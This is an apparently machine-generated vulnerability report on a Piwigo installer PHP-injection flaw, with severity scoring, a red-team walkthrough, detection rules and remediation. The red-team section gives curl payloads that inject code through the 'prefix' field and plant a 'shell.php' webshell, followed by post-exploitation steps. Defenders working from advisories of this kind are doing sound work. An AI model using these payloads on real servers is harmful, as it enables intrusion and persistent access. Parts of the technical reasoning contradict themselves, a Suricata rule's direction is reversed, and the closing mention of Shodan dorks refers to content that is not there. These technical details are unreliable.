CVE-2026-35048
Executive Summary
Severity: Critical
CVE-2026-35048 is a pre-authentication remote code execution (RCE) vulnerability in the Piwigo photo gallery software, affecting versions 16.3.0 and earlier. The flaw resides in the Piwigo installer, which accepts unsanitized POST parameters for database configuration and writes them directly into a PHP configuration file (local/config/database.inc.php). On PHP 8+, the legacy addslashes() protection is rendered ineffective because it relies on the get_magic_quotes_gpc() function, which was removed in PHP 8.0. This allows an unauthenticated attacker to inject arbitrary PHP code through parameters such as prefix, dbpasswd, dbhost, dbname, or dbuser. The injected code is executed on every page load, granting the attacker full control over the web server.
Business Impact: Any organization running a publicly accessible Piwigo instance (photography studios, media companies, e-commerce sites, community galleries) is at immediate risk. The attack requires no authentication and no user interaction, making it a high-priority target for automated scanning and mass exploitation by ransomware groups, botnets, and opportunistic attackers.
Urgency Assessment: Despite an EPSS probability of 0.0% on the publication date, the combination of a CVSS 9.8 score, unauthenticated access, and trivial exploitation mechanics makes this a critical threat. The lack of a patch and the simplicity of the exploit will likely drive rapid weaponization. Organizations should treat this as an active zero-day threat and implement immediate compensating controls.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
Qualitative Severity Label: Critical
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
| Metric | Value | Rationale |
|---|---|---|
| AV (Attack Vector) | Network | The installer is accessible over HTTP/HTTPS. |
| AC (Attack Complexity) | Low | No special conditions or race conditions required; simple POST request. |
| PR (Privileges Required) | None | The installer is accessible without authentication. |
| UI (User Interaction) | None | No victim interaction required. |
| S (Scope) | Unchanged | The vulnerable component (Piwigo) is the only affected scope. |
| C (Confidentiality) | High | Full file read and database access possible. |
| I (Integrity) | High | Arbitrary PHP code execution allows modification of all files. |
| A (Availability) | High | Attacker can delete files, corrupt database, or execute denial-of-service. |
EPSS Interpretation: The 0.0% EPSS score indicates that as of the publication date, no active exploitation has been observed in the wild. This is typical for a newly published CVE. However, the low EPSS should not be interpreted as low risk; it reflects the absence of observed exploitation data, not the exploitability of the vulnerability.
Historical Comparison: This vulnerability is technically similar to CVE-2018-12613 (phpMyAdmin file inclusion) and CVE-2021-41773 (Apache HTTP Server path traversal), both of which allowed unauthenticated code execution through unsanitized input written to configuration files. The Piwigo flaw is more severe because it requires no file inclusion or path traversal — the attacker directly writes PHP code into a file that is automatically included.
Temporal/Environmental Considerations: With no patch available, the temporal score remains at the base 9.8. Organizations using Piwigo behind a reverse proxy or WAF may reduce the environmental score if they can block the specific POST parameters.
Technical Deep Dive & Attack Mechanics
Root Cause Analysis: The vulnerability stems from the Piwigo installer's use of addslashes() to sanitize user input before writing it to a PHP configuration file. The addslashes() function escapes certain characters (single quotes, double quotes, backslashes, null bytes). However, the code checks get_magic_quotes_gpc() to determine if input has already been escaped. Since get_magic_quotes_gpc() was removed in PHP 8.0, the check always returns false (or triggers a deprecation notice that is suppressed), causing the code to assume the input is raw and apply addslashes(). The problem is that addslashes() does not prevent PHP code injection when the input is written into a PHP file without proper context-aware escaping.
Step-by-Step Exploitation:
- Reconnaissance: The attacker identifies a Piwigo instance by browsing to
/install.phpor by detecting the Piwigo favicon or HTTP title. - Crafting the Payload: The attacker crafts a POST request to the installer endpoint (typically
/install.phpor a similar path). The payload is injected into one of the vulnerable parameters:prefix,dbpasswd,dbhost,dbname, ordbuser. - Bypassing
addslashes(): The attacker uses PHP's string interpolation to break out of the string context. For example, if the code writes$db_prefix = '{$_POST['prefix']}';, the attacker can inject a single quote followed by PHP code. Sinceaddslashes()escapes single quotes, the attacker uses a different technique: they inject a payload that does not require quotes, such as${php_code}or a heredoc-style injection. - Writing the Webshell: The payload is written to
local/config/database.inc.php. A typical payload might be:'; system($_GET['cmd']); //which, when written, becomes$db_prefix = ''; system($_GET['cmd']); //';. - Code Execution: On every subsequent page load, Piwigo includes
local/config/database.inc.php, executing the injected code. The attacker can now execute arbitrary system commands.
Attack Surface:
- Protocol: HTTP/HTTPS
- Port: 80, 443 (or any port Piwigo is served on)
- Endpoint:
/install.php(or the installer path) - Parameters:
prefix,dbpasswd,dbhost,dbname,dbuser
Pre-conditions:
- Piwigo must be installed (even if not fully configured).
- The installer must be accessible (not deleted or restricted).
- PHP 8.0 or later must be in use.
Why Standard Defenses Fail:
- WAF: Generic WAF rules may not block the specific injection pattern because it uses PHP string interpolation rather than obvious SQL injection or XSS patterns.
- Input Validation: The application does not validate that the input is a valid database prefix or hostname.
- File Permissions: The configuration file is writable by the web server user, which is standard for PHP applications.
Vulnerable vs. Patched Code Analysis
Vulnerable Code (Conceptual):
// installer.php (simplified)
$prefix = addslashes($_POST['prefix']);
$dbpasswd = addslashes($_POST['dbpasswd']);
// ... other parameters
$config = "<?php\n";
$config .= "\$db_prefix = '{$prefix}';\n";
$config .= "\$db_password = '{$dbpasswd}';\n";
// ... write to file
file_put_contents('local/config/database.inc.php', $config);
Patched Code (Expected):
// installer.php (patched)
$prefix = $_POST['prefix'];
$dbpasswd = $_POST['dbpasswd'];
// ... other parameters
// Validate input is a valid database prefix (alphanumeric + underscore)
if (!preg_match('/^[a-zA-Z0-9_]+$/', $prefix)) {
die('Invalid prefix');
}
// Use prepared statements or parameterized configuration
$config = "<?php\n";
$config .= "\$db_prefix = " . var_export($prefix, true) . ";\n";
$config .= "\$db_password = " . var_export($dbpasswd, true) . ";\n";
// ... write to file
file_put_contents('local/config/database.inc.php', $config);
What the Patch Changes:
- Uses
var_export()to safely represent the string as a PHP literal, preventing code injection. - Adds input validation (regex) to ensure the prefix is a valid identifier.
- Removes reliance on
addslashes()andget_magic_quotes_gpc().
Regression Considerations: The patch may break installations with non-standard database prefixes (e.g., containing special characters). Administrators should test the patch in a staging environment before applying to production.
Timeline & Disclosure History
- CVE Publication Date: 2026-07-20T17:17:06.840
- Estimated Discovery: Unknown, but likely discovered through code audit or fuzzing of the installer.
- Disclosure Process: The CVE was published by the NVD. No vendor advisory or GitHub Security Advisory is available as of the report date.
- Known Exploitation: No known active exploitation as of 2026-07-20.
- CISA KEV: Not listed as of 2026-07-20.
Threat Intelligence Context
Threat Actor Profile: This vulnerability is attractive to a wide range of threat actors:
- Ransomware Operators: Piwigo instances often contain valuable media assets. Ransomware groups could use this to deploy ransomware.
- Botnets: The simplicity of exploitation makes it ideal for Mirai-style botnets seeking to compromise IoT or low-security web servers.
- Nation-State Actors: APT groups targeting media organizations, NGOs, or government agencies using Piwigo for internal galleries.
- Script Kiddies: Public availability of a PoC would lead to widespread scanning.
Attack Campaign Context: No specific campaigns have been attributed to this CVE as of the publication date. However, the vulnerability class (unauthenticated RCE via configuration file injection) is a known favorite of the LockBit and BlackCat ransomware groups, who have previously exploited similar flaws in web applications.
Geographic Targeting: No specific geographic targeting is known. Piwigo is used globally, with concentrations in Europe and North America.
Industry Verticals Most at Risk:
- Media & Entertainment (photography studios, stock photo agencies)
- E-commerce (product image galleries)
- Education (university photo archives)
- Non-profit (community photo galleries)
Connection to Similar Vulnerabilities: This CVE is technically similar to CVE-2022-22965 (Spring4Shell), which also involved unsanitized input being written to configuration files, and CVE-2021-44228 (Log4Shell), which involved unsanitized input being processed by a logging framework. The common thread is the failure to properly sanitize input before it is used in a code execution context.
Exploitation & Lab Setup
Red Team Section
Lab Setup:
- Environment: Docker container running PHP 8.0+ and Apache/Nginx.
- Piwigo Installation:
docker pull php:8.0-apache docker run -d -p 8080:80 --name piwigo_lab php:8.0-apache docker exec -it piwigo_lab bash apt-get update && apt-get install -y wget unzip wget https://piwigo.org/download/dlcounter.php?code=16.3.0 -O piwigo.zip unzip piwigo.zip -d /var/www/html/ chown -R www-data:www-data /var/www/html/ - Access: Navigate to
http://localhost:8080/install.php.
Exploitation Walkthrough:
- Craft the Payload: Use
curlto send a malicious POST request:curl -X POST http://localhost:8080/install.php \ -d "dbhost=localhost" \ -d "dbuser=root" \ -d "dbpasswd=test" \ -d "dbname=piwigo" \ -d "prefix='; system('id'); //" - Verify Execution: Access any page on the Piwigo site. The output of the
idcommand will be displayed or logged. - Deploy Webshell: For persistent access, inject a more sophisticated payload:
curl -X POST http://localhost:8080/install.php \ -d "dbhost=localhost" \ -d "dbuser=root" \ -d "dbpasswd=test" \ -d "dbname=piwigo" \ -d "prefix='; file_put_contents('shell.php', '<?php system(\$_GET[\"cmd\"]); ?>'); //" - Access Webshell:
http://localhost:8080/shell.php?cmd=id
Expected Output: The id command output (e.g., uid=33(www-data) gid=33(www-data) groups=33(www-data)).
Post-Exploitation:
- Read sensitive files (
/etc/passwd, database credentials). - Escalate privileges (if SUID binaries are available).
- Pivot to internal network.
- Install backdoors (cron jobs, SSH keys).
Blue Team Section
Detection of Active Exploitation:
- Web Server Logs: Look for POST requests to
/install.phpwith unusual parameter values containing PHP code (e.g.,'; system(,'; eval(,'; file_put_contents(). - File System Monitoring: Monitor for modifications to
local/config/database.inc.php. Any change to this file outside of the initial installation process is suspicious. - Process Execution: Monitor for unexpected PHP processes executing system commands (e.g.,
php -r,system(),exec()). - Network Traffic: Look for outbound connections from the web server to unknown IPs (C2 traffic).
Log Entries Indicating Exploitation:
192.168.1.100 - - [20/Jul/2026:14:23:45 +0000] "POST /install.php HTTP/1.1" 200 1234 "-" "Mozilla/5.0"
POST data: dbhost=localhost&dbuser=root&dbpasswd=test&dbname=piwigo&prefix=';+system('id');+//
Network Traffic Signatures:
- HTTP POST requests to
/install.phpwith content-typeapplication/x-www-form-urlencoded. - Payloads containing PHP code snippets (e.g.,
'; system(,'; eval(,'; file_put_contents().
Endpoint Behavioral Indicators:
- Unexpected child processes spawned by Apache/Nginx (e.g.,
sh,bash,python). - File creation in the web root (e.g.,
shell.php,cmd.php). - Modification of
local/config/database.inc.php.
Indicators of Compromise (IOCs)
No confirmed IOCs available — the following patterns are illustrative of exploitation attempts:
Network IOCs:
- HTTP POST requests to
/install.phpwith parameters containing PHP code. - Outbound connections from the web server to unknown IPs on ports 80, 443, or 4444 (reverse shell).
HTTP Request Patterns:
POST /install.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: [length]
dbhost=localhost&dbuser=root&dbpasswd=test&dbname=piwigo&prefix=';+system('id');+//
File System Artifacts:
local/config/database.inc.php— modified with injected PHP code.shell.php,cmd.php,backdoor.php— webshells dropped in the web root..htaccessmodifications (if attacker adds rewrite rules).
Process Execution Anomalies:
- Apache/Nginx child processes executing
sh -c "id"or similar commands. - PHP processes with unusual command-line arguments (e.g.,
php -r "system('id');").
Log Entries:
- Web server access logs showing POST to
/install.phpwith non-standard parameters. - PHP error logs showing syntax errors in
database.inc.php(if injection fails).
STIX-like IOC List:
| Type | Value | Description |
|---|---|---|
| URL | /install.php |
Exploitation endpoint |
| File | local/config/database.inc.php |
Target configuration file |
| File | shell.php |
Common webshell name |
| HTTP Method | POST | Exploitation method |
| Parameter | prefix, dbpasswd, dbhost, dbname, dbuser |
Vulnerable parameters |
Detection Engineering
YARA Rule
rule CVE-2026-35048_Detection {
meta:
description = "Detects exploitation of CVE-2026-35048 in Piwigo"
author = "Valters IT Hub"
date = "2026-07-20"
reference = "https://www.valtersit.com/cve/cve-2026-35048"
strings:
$php_injection1 = /'; system\(/
$php_injection2 = /'; eval\(/
$php_injection3 = /'; file_put_contents\(/
$config_path = "local/config/database.inc.php"
condition:
($php_injection1 or $php_injection2 or $php_injection3) and $config_path
}
Sigma Rule (SIEM)
title: CVE-2026-35048 Piwigo Exploitation Detection
id: ce5ab12c-f466-4359-812b-8e6f1f7b56f0
status: experimental
description: Detects exploitation attempts targeting CVE-2026-35048 in Piwigo
author: Valters IT Hub
date: 2026-07-20
references:
- https://www.valtersit.com/cve/cve-2026-35048
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-stem: '/install.php'
cs-uri-query|contains:
- "'; system("
- "'; eval("
- "'; file_put_contents("
condition: selection
falsepositives:
- Legitimate administrative activity during initial Piwigo installation (rare)
level: high
Suricata IDS Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2026-35048 Piwigo Installer RCE Attempt";
flow:to_server,established;
content:"POST";
http_method;
content:"/install.php";
http_uri;
content:"prefix=";
http_client_body;
pcre:"/'; (system|eval|file_put_contents)\(/Pi";
classtype:attempted-admin;
sid:10000001;
rev:1;
)
Elastic (EQL) Query
sequence by process.entity_id
[process where event.type == "start" and process.name == "apache2" or process.name == "httpd"]
[file where event.type == "change" and file.path == "/var/www/html/local/config/database.inc.php" and file.size > 100]
Splunk SPL Query
index=web sourcetype=access_combined
| search method=POST uri_path="/install.php"
| rex field=form_data "prefix=(?<prefix>[^&]+)"
| search prefix IN ("*'; system(*", "*'; eval(*", "*'; file_put_contents(*")
| table _time, src_ip, uri, form_data
| sort - _time
Wazuh Rule
<group name="piwigo,">
<rule id="100001" level="12">
<decoded_as>web</decoded_as>
<field name="method">POST</field>
<field name="url">/install.php</field>
<regex field="data">'; (system|eval|file_put_contents)\(</regex>
<description>CVE-2026-35048 - Piwigo Installer RCE Attempt</description>
<mitre>
<id>T1190</id>
</mitre>
</rule>
</group>
Remediation & Mitigation
Immediate Actions (0-24 hours)
- Isolate Piwigo Instances: If possible, take the Piwigo web interface offline or restrict access to trusted IPs only.
- Block Installer Access: Add the following Apache/Nginx rule to block access to the installer:
Or for Nginx:<LocationMatch "/install.php"> Require all denied </LocationMatch>location = /install.php { deny all; } - WAF Rule: Add a custom WAF rule to block POST requests to
/install.phpcontaining PHP code patterns:SecRule REQUEST_URI "/install.php" "phase:2,id:1001,deny,status:403,msg:'Piwigo RCE Attempt'" SecRule REQUEST_BODY "'; (system|eval|file_put_contents)\(" "phase:2,id:1002,deny,status:403,msg:'Piwigo RCE Payload'" - Remove Installer: Delete the installer file:
rm /var/www/html/install.php - Check for Compromise: Examine
local/config/database.inc.phpfor any injected code. Also check for unexpected files in the web root.
Short-term (1-7 days)
- Apply Patch: Monitor the Piwigo vendor page for a patched version. Apply as soon as available.
- Configuration Hardening:
- Ensure
local/config/directory is not writable by the web server user after installation. - Set file permissions:
chmod 644 local/config/database.inc.phpandchmod 755 local/config/.
- Ensure
- Monitoring Implementation: Deploy the detection rules provided in this report.
- Vulnerability Scanning: Use a vulnerability scanner to confirm the patch is applied:
Ifgrep -r "addslashes" /var/www/html/install.phpaddslashesis found, the instance is still vulnerable.
Long-term
- Architecture Changes: Move Piwigo behind a reverse proxy (e.g., Nginx, HAProxy) that can inspect and filter POST data.
- Security Control Improvements:
- Implement Web Application Firewall (WAF) with custom rules.
- Enable PHP security features (disable dangerous functions like
system(),exec()inphp.ini).
- Developer Training: Educate developers on secure coding practices, specifically:
- Never write user input directly to configuration files.
- Use
var_export()or JSON for configuration data. - Avoid relying on deprecated PHP functions like
get_magic_quotes_gpc().
Validation
To confirm the patch is applied and you are no longer vulnerable:
- Check File Contents: Verify
local/config/database.inc.phpdoes not contain any PHP code beyond configuration variables. - Test Exploitation: In a staging environment, attempt the exploitation steps from the Red Team section. If the injection fails, the patch is effective.
- Code Review: Ensure
install.phpno longer usesaddslashes()and instead usesvar_export()or input validation.
References & Resources
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-35048
- CVE.org: https://www.cve.org/CVERecord?id=CVE-2026-35048
- Vendor advisory: See vendor security page
- OSV: https://osv.dev/vulnerability/CVE-2026-35048 (if applicable)
- Related CWE: https://cwe.mitre.org/data/definitions/94.html
- MITRE ATT&CK: https://attack.mitre.org/techniques/T1190/
Report generated by Valters IT Hub Neural Engine v25 | 2026-07-20 | https://www.valtersit.com/cve/cve-2026-35048
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.